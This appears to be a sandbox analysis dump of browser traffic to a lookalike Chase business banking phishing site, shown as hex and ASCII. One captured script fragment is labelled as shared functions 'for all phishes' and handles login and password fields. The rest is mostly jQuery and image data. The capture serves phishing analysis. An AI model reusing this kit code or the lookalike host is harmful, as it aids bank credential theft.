2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 2f 2f 53 54 41 52 54 20 73 79 73 74 65 6d 20 66 75 6e 63 74 69 6f 6e 73 20 66 6f 72 20 61 6c 6c 20 70 68 69 73 68 65 73 0d 0a 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 20 3d 20 6d 61 6b 65 69 64 28 35 29 3b 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 73 65 73 73 69 6f 6e 22 2c 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 3b 0d 0a 76 61 72 20 6f 6e 53 74 6f 72 61 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0d 0a 09 69 66 20 28 65 2e 6b 65 79 20 3d 3d 3d 20 27 73 65 73 73 69 6f 6e 27 20 26 26 20 65 2e 6e 65 77 56 61 6c 75 65 20 21 3d 3d 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 0d 0a 09 09 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 6d 75 6c 74 69 74 61 62 22 2c 20 77 69 6e 64 6f 77 2e Data Ascii: //START system functions for all phisheswindow.session = makeid(5);localStorage.setItem("session", window.session);var onStorage = function (e) {if (e.key === 'session' && e.newValue !== window.session)localStorage.setItem("multitab", window.
2024-12-20 00:21:53 UTC	5701	IN	Data Raw: 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 74 65 78 74 22 20 7c 7c 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 70 61 73 73 77 6f 72 64 22 29 7b 0d 0a 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6a 70 75 69 27 29 29 7b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3d 3d 22 22 29 20 24 28 74 68 69 73 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 27 2e 61 6c 69 67 6e 2d 6c 61 62 65 6c 2d 69 6e 70 75 74 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 66 6c 6f 61 74 69 6e 67 27 29 3b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 69 64 27 29 3d 3d 27 75 73 65 72 49 64 2d 74 65 78 74 2d 69 6e 70 Data Ascii: is).attr('type')=="text" \|\| $(this).attr('type')=="password"){if($(this).hasClass('jpui')){if($(this).val()=="") $(this).parent().parent().parent().find('.align-label-input').removeClass('floating');if($(this).attr('id')=='userId-text-inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49848	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:53 UTC	593	OUT	GET /content/js/jquery3_3_1.min.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:53 UTC	288	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 14 Dec 2023 15:25:08 GMT ETag: "15391-60c79e3853d00" Accept-Ranges: bytes Content-Length: 86929 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 2c 6e 3d 5b 5d 2c 72 3d 73 28 65 2e 72 65 70 6c 61 63 65 28 42 2c 22 24 31 22 29 29 3b 72 65 74 75 72 6e 20 72 5b 62 5d 3f 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 76 61 72 20 6f 2c 61 3d 72 28 65 2c 6e 75 6c 6c 2c 69 2c 5b 5d 29 2c 73 3d 65 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 73 2d 2d 29 28 6f 3d 61 5b 73 5d 29 26 26 28 65 5b 73 5d 3d 21 28 74 5b 73 5d 3d 6f 29 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 6f 29 7b 72 65 74 75 72 6e 20 74 5b 30 5d 3d 65 2c 72 28 74 2c 6e 75 6c 6c 2c 6f 2c 6e 29 2c 74 5b 30 5d 3d 6e 75 6c 6c 2c 21 6e 2e 70 6f 70 28 29 7d 7d 29 2c 68 61 73 3a 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 65 28 65 2c 74 29 2e 6c Data Ascii: ,n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).l
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 74 29 7b 76 61 72 20 6e 2c 72 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 7b 6e 3d 28 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 6d 61 70 28 47 29 3a 28 74 3d 47 28 74 29 29 69 6e 20 72 3f 5b 74 5d 3a 74 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6e 2d 2d 29 64 65 6c 65 74 65 20 72 5b 74 5b 6e 5d 5d 7d 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 77 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 72 29 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 3a 64 65 6c 65 74 65 20 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 29 7d 7d 2c 68 61 73 44 61 74 61 Data Ascii: t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)\|\|[]).length;while(n--)delete r[t[n]]}(void 0===t\|\|w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 66 6f 72 65 28 65 2c 74 68 69 73 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 29 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 74 3d 30 3b 6e 75 6c 6c 21 3d 28 65 3d 74 68 69 73 5b 74 5d 29 3b 74 2b 2b 29 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 28 77 2e 63 6c 65 61 6e 44 61 74 61 28 79 65 28 65 2c 21 31 29 29 2c 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 6e 75 6c 6c 21 3d 65 26 26 65 2c 74 3d 6e 75 6c 6c 3d 3d 74 3f 65 3a 74 2c 74 68 69 73 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 2e 63 6c 6f 6e 65 28 74 68 69 73 2c 65 2c 74 29 7d 29 7d 2c 68 74 Data Ascii: fore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},ht
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 65 72 22 2c 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 77 2e 70 72 6f 70 46 69 78 5b 74 68 69 73 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 74 68 69 73 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 28 65 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6a 6f 69 6e 28 22 20 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 78 74 28 65 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2e 6d 61 74 63 68 28 4d 29 Data Ascii: er","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)\|\|[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")\|\|""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)
2024-12-20 00:21:54 UTC	5009	IN	Data Raw: 6c 62 61 63 6b 2c 59 74 2e 70 75 73 68 28 69 29 29 2c 61 26 26 67 28 6f 29 26 26 6f 28 61 5b 30 5d 29 2c 61 3d 6f 3d 76 6f 69 64 20 30 7d 29 2c 22 73 63 72 69 70 74 22 7d 29 2c 68 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 72 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 28 22 22 29 2e 62 6f 64 79 3b 72 65 74 75 72 6e 20 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 22 2c 32 3d 3d 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 7d 28 29 2c 77 2e 70 61 72 73 65 48 54 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 Data Ascii: lback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49850	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:53 UTC	874	OUT	GET /content/wordmark-white.svg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/content/css/logon.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:53 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:18:26 GMT ETag: "581-6104394d36880" Accept-Ranges: bytes Content-Length: 1409 Connection: close Content-Type: image/svg+xml
2024-12-20 00:21:53 UTC	1409	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 38 30 20 37 32 2e 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 35 36 2e 31 2c 31 6c 2d 32 32 2e 35 2c 30 63 2d 31 2e 34 2c 30 2d 32 2e 35 2c 31 2e 31 2d 32 2e 35 2c 32 2e 35 76 31 37 2e 34 48 33 37 37 4c 33 35 36 2e 31 2c 31 7a 22 2f 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 37 36 2e 32 2c 32 33 2e 36 68 2d 31 37 2e 34 76 34 35 2e 39 6c 31 39 2e 38 2d 32 30 2e 39 6c 30 2d 32 32 2e 35 43 33 37 38 2e 37 2c 32 34 2e 37 2c 33 37 37 2e 36 2c 32 33 2e 36 2c 33 37 36 2e 32 2c 32 33 2e 36 7a 22 2f 3e 0a 09 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2"><path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/><path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49849	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:53 UTC	904	OUT	GET /content/background.desktop.90018.jpeg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:53 UTC	254	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 13:06:42 GMT ETag: "42d27-61bdecd573c80" Accept-Ranges: bytes Content-Length: 273703 Connection: close Content-Type: image/jpeg
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 08 07 06 0a 08 08 08 0b 0a 0a 0b 0e 18 10 0e 0d 0d 0e 1d 15 16 11 18 23 1f 25 24 22 1f 22 21 26 2b 37 2f 26 29 34 29 21 22 30 41 31 34 39 3b 3e 3e 3e 25 2e 44 49 43 3c 48 37 3d 3e 3b ff db 00 43 01 0a 0b 0b 0e 0d 0e 1c 10 10 1c 3b 28 22 28 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC#%$""!&+7/&)4)!"0A149;>>>%.DIC<H7=>;C;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8"}!1AQa"q2
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 7d a4 52 61 aa 72 a3 d2 90 a8 a2 e2 b1 07 cd eb 41 66 07 a9 a9 8a 8f ff 00 5d 1b 69 dc 56 21 de 69 7c c3 4f 28 0d 27 97 9a 34 0d 44 f3 0f ad 1e 61 f5 a0 c7 48 50 e2 8d 07 a8 ef 30 f4 a5 12 54 45 48 34 63 1d 68 b2 0b b2 6f 33 8a 5f 30 7a 54 1c fa d1 92 29 72 8f 99 96 04 82 9c 1c 55 5d c6 8d d4 b9 47 cc 5b dc 09 a5 c8 fa d5 50 fe f4 a1 c8 a5 ca 3e 62 ce e1 4b b8 55 71 21 ef 4b e6 7b d4 d8 7c c5 80 45 2d 57 df de 9c 1f 1d e8 b0 ee 4b 8a 31 51 ef a5 df 9a 45 5d 0f e9 47 5a 40 68 e9 48 77 17 34 1c 1a 40 68 cd 00 18 39 e6 8e b4 99 a2 80 17 1c 71 46 06 31 46 68 cf 3c d2 18 d6 5e 7b d2 04 a7 e6 8a 77 11 1e 08 a3 04 54 94 1c 51 70 22 db 4d c1 a9 48 a4 3c 51 70 23 c5 18 f4 a7 e2 82 b4 ee 2b 0c ef 41 f4 a7 05 14 a1 41 14 82 c3 3f 0a 29 fb 3a 51 b6 81 8c e2 8a 52 bc Data Ascii: }RarAf]iV!i\|O('4DaHP0TEH4cho3_0zT)rU]G[P>bKUq!K{\|E-WK1QE]GZ@hHw4@h9qF1Fh<^{wTQp"MH<Qp#+AA?):QR
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 8a 40 25 14 b4 94 00 51 45 14 00 51 45 14 c0 4a 29 68 a0 04 a2 96 8a 00 4a 29 69 28 00 a2 8a 28 00 a4 a5 a2 80 12 8a 5a 28 01 28 c5 14 50 01 45 14 50 01 49 4b 45 00 25 18 a5 a2 80 12 8a 5a 28 01 28 a5 a4 a0 04 a2 96 8a 00 29 29 68 a0 04 a2 96 8a 00 4a 28 a2 80 0a 28 a2 80 12 8a 5a 28 01 31 45 14 b4 08 6d 14 b4 50 02 62 8a 5a 28 01 28 a5 a4 a0 02 92 96 8a 00 31 49 4b 45 03 12 8c 52 d1 40 09 46 29 68 a4 02 62 8c 52 d1 40 58 4c 52 62 96 8a 60 26 28 c5 2d 14 82 c2 62 8c 52 d1 4c 2c 37 14 62 9d 49 40 86 e2 97 14 b4 50 03 71 46 29 d4 50 03 68 c5 2d 14 5c 06 d1 4e a4 a0 04 a4 a7 62 8c 50 03 68 a5 a2 80 12 92 9d 8a 28 01 b4 53 a9 28 00 a2 8a 28 18 52 52 d2 52 01 29 29 d4 62 98 86 d1 4b 49 40 09 45 2d 25 00 14 99 a2 8a 60 Data Ascii: (((@%QEQEJ)hJ)i((Z((PEPIKE%Z(())hJ((Z(1EmPbZ((1IKER@F)hbR@XLRb`&(-bRL,7bI@PqF)Ph-\NbPh(S((RRR))bKI@E-%`
2024-12-20 00:21:53 UTC	16384	IN	Data Raw: 76 99 37 b1 e9 95 a6 22 63 22 0f ba 70 7b f1 4c 6d 80 83 e6 1c f5 e9 81 46 d2 1c 28 0a 09 e9 83 4e f2 09 23 79 fa 8c 74 a4 31 b2 4b 10 e1 f0 3b d0 ae 81 7e 56 04 1a 36 c4 78 24 92 bd f1 4e 47 56 cb 46 18 e3 a8 c5 00 29 6c f4 20 7e 34 85 80 4f 94 e4 8e 0f b5 44 67 40 d8 28 c9 ee c0 71 44 ac ca ad b3 7b 86 fe e8 14 5c 07 19 84 6c 03 1d bd b9 1d 69 ec 78 18 24 7d 3b d4 2a ea 58 29 60 a7 dc 83 52 1b 73 26 33 26 7f dd 3d 28 b8 0b bb 27 3c e4 71 d3 34 85 bb 29 c7 d4 52 2a 34 64 fe ed ca e7 9e 99 34 f1 24 6e 46 44 8a 47 fb 34 5c 06 85 24 f2 e1 b1 d8 0a 79 25 8f ca c0 03 d4 1a 47 99 00 da 51 b3 eb 8c 54 61 e4 de 18 46 48 ef b8 f3 40 0a 0b 11 84 e4 8e f8 a7 2b c9 ce 41 03 14 8c 44 5f 2a 46 e4 31 ce 45 44 2e dc 13 8b 76 c0 3d 41 fe 94 01 37 cc c3 a0 2d 9e a7 ad 29 Data Ascii: v7"c"p{LmF(N#yt1K;~V6x$NGVF)l ~4ODg@(qD{\lix$};X)`Rs&3&=('<q4)R4d4$nFDG4\$y%GQTaFH@+AD_*F1ED.v=A7-)
2024-12-20 00:21:54 UTC	16384	IN	Data Raw: e1 5c 74 22 d8 c1 f2 e5 42 9f 99 89 24 e6 a5 f3 a3 74 c3 c4 c2 35 19 66 07 8a b5 3e 8f 62 1c 53 d5 1e 8c d3 a0 e0 30 cf d7 ad 27 9e 3b 02 c4 76 15 c2 d9 f8 96 4b 14 f2 d3 6c a9 fc 22 40 4e 3f 1a df 87 c6 3a 74 db 55 a2 78 dc 8e 49 e9 9f ad 68 a3 7f 84 cd bb 6e 6c ad ce 5f 1b 08 a7 09 72 4e 10 9a cc 8f 52 89 dc ef 61 1c 78 e3 03 39 a9 a3 d5 22 3b 94 4a 04 67 d0 7c c6 97 2b 0b a2 f1 94 ae 01 53 93 da 9a 27 0c 3a 1f a1 15 9b 36 ab 1c 59 68 e2 27 03 a9 6e b5 11 d6 e4 1b 5a 30 ab ea 18 75 a2 dd c6 9d cd 66 99 b3 f2 a3 7e 02 8f 39 c6 7e 42 6b 9d bb d7 e6 7d cc d2 2c 60 03 c2 af 26 b2 66 d7 6e 9c 6e 37 2f 92 7b 1a 34 ee 16 67 6f e7 72 04 8c 91 93 d9 9b 9a a9 71 aa db db 38 49 27 42 7d 8e 6b 86 97 53 9a 46 cb 48 58 8e f9 e6 ab 29 b9 be b8 11 44 1d dd ba 10 7a 54 Data Ascii: \t"B$t5f>bS0';vKl"@N?:tUxIhnl_rNRax9";Jg\|+S':6Yh'nZ0uf~9~Bk},`&fnn7/{4gorq8I'B}kSFHX)DzT
2024-12-20 00:21:54 UTC	16384	IN	Data Raw: ba 16 f1 11 f2 c4 8b f3 7d 31 59 4b aa 6a 29 0b 46 11 e4 de 30 49 52 c4 fb 66 a7 d3 9e fc ca 90 47 67 0a 13 c9 dd 18 04 7b e4 d1 60 b9 5a 7c 09 91 ad ed 64 91 40 e4 ca bd 4f e1 48 f7 7a b2 87 89 3f d1 e3 7c 7c 81 40 3f a5 6e df c9 6b 6a 0a cd 7a 04 8c 39 11 2e 71 59 29 7d 65 e6 e5 8c c4 a8 e1 8b 73 f8 53 57 7d 04 f4 26 8e fc 5b 58 79 6e c2 79 0f de 2b 0e 31 f5 26 99 6b e6 5f 93 2d c1 cc 30 8c b2 97 db 9f 61 55 26 be 92 70 7c bb 36 09 db 24 9a ab ba 56 38 0a 14 ff 00 74 91 54 90 ae 68 cf 75 14 ea 51 50 db c6 a7 80 bd 4f d6 a8 35 d5 c0 00 2b ab 00 78 3d ea 6b 5b 27 9e 64 8b cc c3 1e 8a bc d4 f2 5b bd bc a6 29 23 84 67 8d d2 0a 34 5a 06 a5 7b 34 12 cc 4c c5 54 37 52 fd 05 4c d7 3f 3b 22 0f 32 32 70 0e ed bf 95 5a 93 47 f3 21 59 20 b8 46 66 ce 16 3c 6d 5f c6 Data Ascii: }1YKj)F0IRfGg{`Z\|d@OHz?\|\|@?nkjz9.qY)}esSW}&[Xyny+1&k_-0aU&p\|6$V8tThuQPO5+x=k['d[)#g4Z{4LT7RL?;"22pZG!Y Ff<m_
2024-12-20 00:21:54 UTC	16384	IN	Data Raw: 24 83 3c a7 b5 4c d6 53 4d 6a 7e cf 3c 61 c7 21 90 63 06 b3 6d b5 1d 42 3b 8f 2e 54 8e 70 bd db 18 3f 8d 66 b5 d8 a6 69 69 37 5a 63 c8 4f 91 b1 cf 03 72 9c d4 f7 d7 fa 5c 00 c4 53 e6 f4 45 c9 a0 dc 41 75 66 5d a5 8e 09 87 d0 e2 b9 fb d8 2f 19 bc e3 33 ca b8 fb c8 e3 8f c0 50 92 6f 50 6d a5 a1 0d d5 d0 99 9f ca 96 4d 83 f8 4f 15 02 ce b2 10 b3 7c c0 74 05 79 a4 8d ee cb 04 5d d2 16 38 c6 dc 93 5d 4d 96 91 3c 10 ab 4b 1c 6a c7 aa 80 37 0f c6 b4 94 94 51 0a 2d 94 6d f5 1b 1d 3e 1c 24 65 24 e0 ed 65 e7 f3 35 7a d3 57 b4 b8 07 ed 13 2c 5b b8 01 58 92 7f 1e d5 9b 7e 96 df 6c fd e5 a7 0a 70 46 09 24 fd 69 22 8a e2 36 0d 69 64 63 62 38 22 3e 41 fc 6a 2c 9a 29 5c dd bc 8f 4c 16 cc b3 98 f6 3a f5 6e 5a b9 65 86 cd 24 64 ce e8 db ee 38 38 db f9 d6 c4 16 9a 95 c8 1f Data Ascii: $<LSMj~<a!cmB;.Tp?fii7ZcOr\SEAuf]/3PoPmMO\|ty]8]M<Kj7Q-m>$e$e5zW,[X~lpF$i"6idcb8">Aj,)\L:nZe$d88
2024-12-20 00:21:54 UTC	16384	IN	Data Raw: dd ef 8a 92 2b 28 23 60 d7 17 64 2f 7f 2f 93 55 ea 48 17 b6 53 b5 1c 38 3d 00 6e 7f 12 69 b7 93 2d ba 87 8e c8 33 e3 82 e3 3f ad 4d 1d b5 8c a3 31 89 08 66 e1 8a e4 01 ee 6b 53 ec 7a 55 8d ba 1d c6 53 27 f7 a4 c2 d3 6e dd 04 91 ca 47 2d d5 c4 85 d6 16 c9 39 21 57 20 55 a5 d3 66 e2 49 ac d8 03 ce 71 8a d6 b8 bb 26 1c 5a df 22 04 e8 a8 81 47 e0 6b 32 49 2e e4 c8 33 33 ee ea 4b e6 a9 5d 89 d8 8f c8 86 23 91 01 27 df 90 29 3e d5 71 b8 08 c1 1e 80 2d 58 8e da 4f e2 91 57 db 39 35 66 38 92 2c 12 93 ca c3 9c 01 81 f9 9a 2f 60 b1 96 2c ee 98 92 b0 49 83 ce 4f 19 a1 ad 24 ce d7 44 04 f6 c8 ad ab f4 8e e5 15 8b bc 44 70 23 c1 38 fc a9 d6 f6 10 69 a1 6e 6f 0c 60 30 f9 44 9f 78 fd 17 fc 